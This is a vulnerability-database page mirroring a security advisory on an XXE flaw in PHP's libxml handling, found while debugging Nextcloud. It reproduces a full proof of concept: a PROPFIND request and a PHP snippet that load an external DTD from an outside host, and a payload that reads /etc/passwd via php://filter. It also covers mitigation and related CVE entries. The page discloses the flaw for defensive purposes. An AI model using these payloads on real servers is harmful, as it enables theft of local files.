Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-3qrf-m4j2-pcrr

Опубликовано: 05 авг. 2023
Источник: github
Github: Не прошло ревью
CVSS3: 8.6

Описание

Security issue with external entity loading in XML without enabling it

Summary

After working on the issue some days, we more and more come to the assumption, that the actual issue is lower in the stack than the Nextcloud Server's PHP code. We were able to isolate it to a few lines of plain PHP code (but seemling only after performing a "Nextcloud login")

Details

After working on the issue some days, we more and more come to the assumption, that the actual issue is lower in the stack than the Nextcloud Server's PHP code. We were able to isolate it to a few lines of plain PHP code (but seemling only after performing a "Nextcloud login"), see POC below.

Randomness

The behaviour seems to depend on some "random" factors. A suggestion at the moment is that it's working on the first run in a PHP/Apache process more often then on reused.

  • We were never able to produce it on Nginx with PHP-FPM
  • We were never able to produce it on CLI
  • We were able to reproduce it with latest maintenance versions of PHP 8.0, 8.1 and 8.2 together with Apache2 on Debian
  • We were unable to reproduce it with latest maintenance versions of PHP using Apache2 on Ubuntu, but the original reporter seems to be running on Ubuntu.

We are sorry that we are unable to give a clearer indication here, but think that the issue is to critical to ignore or keep to ourselves, just because we fail to give clear reproduction systems, because to us it seems like any system consuming XML is affected.

The most reliable system to reproduce it on is our "Developer Docker": https://github.com/juliushaertl/nextcloud-docker-dev/#standalone-containers but that comes with quite some overhead. The enabled PHP modules and PHPINFO output is available here https://gist.github.com/juliushaertl/b458983b5fe87b31bd98ff2dc2468e97 On that system a Nextcloud user admin with password admin is automatically created and the attack can then be executed with a PROPFIND against the dav endpoint:

PROPFIND /remote.php/dav/files/<username>/ <?xml version="1.0"?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "https://bin.icewind.me/r/p0gzLJ"> %remote; %intern; n%trick;]> <d:propfind xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns"> <d:prop> <oc:fileid /> </d:prop> </d:propfind>

We hope that you can shed light on the situation, to help keeping the PHP world secure, by either confirm there is an issue somewhere inside PHP, libxml2, Apache2 or something else, or pointing us to something that brings clearness why it only happens sometimes.

PoC

<?php $xml= "<?xml version='1.0' encoding='utf-8' ?><!DOCTYPE root [<!ENTITY % remote SYSTEM \"https://bin.icewind.me/r/p0gzLJ\"> %remote; %intern; %trick;]><D:propfind xmlns:D='DAV:'><D:allprop/></D:propfind>"; libxml_use_internal_errors(true); $dom = new DOMDocument(); $dom->loadXML($xml); echo $dom->textContent; foreach (libxml_get_errors() as $error) { var_dump($error); }

If you don't want to run code from our servers, you can replace https://bin.icewind.me/r/p0gzLJ with a link of your own, and make it serve the following content:

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % intern "<!ENTITY &#37; trick SYSTEM 'file://WOOT%payload;WOOT'>">

The problem we are now facing is the following:

In most cases we correctly receive:

PEReference: %intern; not found on line …, column …

the reporter mentioned that when this happens we should try to run it multiple times, and indeed on some systems we received a different response after some runs:

WOOT{{base64 encoded content of /etc/passwd}}WOOT

Mitigation

Our current "fix" to the problem is to set an external entity loader (although it's disabled by default and never enabled actively on our side)

libxml_set_external_entity_loader(function () { return null; });

In most cases that leaves the response unchanged with:

PEReference: %intern; not found on line …, column …

But in "successful" cases it now only responds with the following instead of the base64 encoded password file:

Failed to load external entity "NULL" on line 0, column 0

Interestingly setting the entity loader to null is not enough and still leaves the system vulnerable:

libxml_set_external_entity_loader(null);

Impact

  • What: The result is a XXE with potential to escalate into a RCE
  • Who: Every application/library/server that is parsing/interacting with XML documents

Пакеты

Наименование
Отсутствует
Затронутые версииВерсия исправления

< 8.0.30

8.0.30

EPSS

Процентиль: 27%
0.00092
Низкий

8.6 High

CVSS3

Дефекты

CWE-611

Связанные уязвимости

CVSS3: 8.6
ubuntu
почти 2 года назад

In PHP versions 8.0.* before 8.0.30, 8.1.* before 8.1.22, and 8.2.* before 8.2.8 various XML functions rely on libxml global state to track configuration variables, like whether external entities are loaded. This state is assumed to be unchanged unless the user explicitly changes it by calling appropriate function. However, since the state is process-global, other modules - such as ImageMagick - may also use this library within the same process, and change that global state for their internal purposes, and leave it in a state where external entities loading is enabled. This can lead to the situation where external XML is parsed with external entities loaded, which can lead to disclosure of any local files accessible to PHP. This vulnerable state may persist in the same process across many requests, until the process is shut down.

CVSS3: 7.5
redhat
около 2 лет назад

In PHP versions 8.0.* before 8.0.30, 8.1.* before 8.1.22, and 8.2.* before 8.2.8 various XML functions rely on libxml global state to track configuration variables, like whether external entities are loaded. This state is assumed to be unchanged unless the user explicitly changes it by calling appropriate function. However, since the state is process-global, other modules - such as ImageMagick - may also use this library within the same process, and change that global state for their internal purposes, and leave it in a state where external entities loading is enabled. This can lead to the situation where external XML is parsed with external entities loaded, which can lead to disclosure of any local files accessible to PHP. This vulnerable state may persist in the same process across many requests, until the process is shut down.

CVSS3: 8.6
nvd
почти 2 года назад

In PHP versions 8.0.* before 8.0.30, 8.1.* before 8.1.22, and 8.2.* before 8.2.8 various XML functions rely on libxml global state to track configuration variables, like whether external entities are loaded. This state is assumed to be unchanged unless the user explicitly changes it by calling appropriate function. However, since the state is process-global, other modules - such as ImageMagick - may also use this library within the same process, and change that global state for their internal purposes, and leave it in a state where external entities loading is enabled. This can lead to the situation where external XML is parsed with external entities loaded, which can lead to disclosure of any local files accessible to PHP. This vulnerable state may persist in the same process across many requests, until the process is shut down.

CVSS3: 8.6
debian
почти 2 года назад

In PHP versions 8.0.* before 8.0.30, 8.1.* before 8.1.22, and 8.2.* be ...

CVSS3: 8.6
fstec
почти 2 года назад

Уязвимость интерпретатора языка программирования PHP, связанная с неверным ограничением XML-ссылок на внешний объект, позволяющая нарушителю вызвать отказ в обслуживании или получить несанкционированный доступ к конфиденциальным данным

EPSS

Процентиль: 27%
0.00092
Низкий

8.6 High

CVSS3

Дефекты

CWE-611